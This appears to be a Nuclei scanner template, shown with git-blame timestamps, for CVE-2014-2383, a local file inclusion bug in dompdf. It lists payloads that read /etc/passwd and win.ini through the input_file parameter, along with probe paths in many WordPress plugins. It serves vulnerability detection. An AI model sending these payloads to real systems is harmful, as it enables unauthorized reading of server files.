2021-09-21 10:16:26 +00:00
id : CVE-2014-2383
2021-06-10 09:45:21 +00:00
info :
2022-08-06 12:50:12 +00:00
name : dompdf < v0.6.0 - Local File Inclusion
2021-06-10 09:45:21 +00:00
author : 0x_Akoko
severity : high
2022-08-06 12:50:12 +00:00
description : |
A vulnerability in dompdf.php in dompdf before 0.6.1, when DOMPDF_ENABLE_PHP is enabled, allows context-dependent attackers to bypass chroot protections and read arbitrary files via a PHP protocol and wrappers in the input_file parameter, as demonstrated by a php://filter/read=convert.base64-encode/resource in the input_file parameter.
2022-02-25 14:32:23 +00:00
reference :
- https://www.exploit-db.com/exploits/33004
2022-05-17 09:18:12 +00:00
- http://seclists.org/fulldisclosure/2014/Apr/258
- https://www.portcullis-security.com/security-research-and-downloads/security-advisories/cve-2014-2383/
2022-08-06 11:47:45 +00:00
- https://wpscan.com/vulnerability/1d64d0cb-6b71-47bb-8807-7c8350922582
2022-08-06 12:50:12 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2014-2383
2022-02-25 14:32:23 +00:00
classification :
cve-id : CVE-2014-2383
2021-09-21 10:16:26 +00:00
metadata :
2022-04-22 10:38:41 +00:00
unix-payload : /dompdf.php?input_file=/etc/passwd
2022-05-17 09:18:12 +00:00
win-payload : /dompdf.php?input_file=C:/windows/win.ini
2022-08-06 11:47:45 +00:00
tags : cve,cve2014,dompdf,lfi,unauth
2021-06-11 09:52:14 +00:00
2021-06-10 09:45:21 +00:00
requests :
- method : GET
path :
2021-06-11 09:03:43 +00:00
- "{{BaseURL}}/dompdf.php?input_file=dompdf.php"
2021-06-11 09:17:02 +00:00
- "{{BaseURL}}/PhpSpreadsheet/Writer/PDF/DomPDF.php?input_file=dompdf.php"
- "{{BaseURL}}/lib/dompdf/dompdf.php?input_file=dompdf.php"
2021-06-12 11:12:57 +00:00
- "{{BaseURL}}/includes/dompdf/dompdf.php?input_file=dompdf.php"
2022-08-06 11:47:45 +00:00
- "{{BaseURL}}/wp-content/plugins/web-portal-lite-client-portal-secure-file-sharing-private-messaging/includes/libs/pdf/dompdf.php?input_file=dompdf.php"
- "{{BaseURL}}/wp-content/plugins/buddypress-component-stats/lib/dompdf/dompdf.php?input_file=dompdf.php"
- "{{BaseURL}}/wp-content/plugins/abstract-submission/dompdf-0.5.1/dompdf.php?input_file=dompdf.php"
- "{{BaseURL}}/wp-content/plugins/post-pdf-export/dompdf/dompdf.php?input_file=dompdf.php"
- "{{BaseURL}}/wp-content/plugins/blogtopdf/dompdf/dompdf.php?input_file=dompdf.php"
- "{{BaseURL}}/wp-content/plugins/gboutique/library/dompdf/dompdf.php?input_file=dompdf.php"
- "{{BaseURL}}/wp-content/plugins/wp-ecommerce-shop-styling/includes/dompdf/dompdf.php?input_file=dompdf.php"
2021-10-09 11:07:50 +00:00
2021-10-09 05:16:16 +00:00
stop-at-first-match : true
2021-06-10 09:45:21 +00:00
matchers-condition : and
matchers :
2021-06-11 09:03:43 +00:00
- type : word
words :
- "application/pdf"
- 'filename="dompdf_out.pdf"'
part : header
2021-06-11 09:17:02 +00:00
condition : and
2021-06-10 09:45:21 +00:00
- type : status
status :
- 200
2022-02-25 14:32:23 +00:00
2022-08-06 17:16:33 +00:00
# Enhanced by mp on 2022/08/06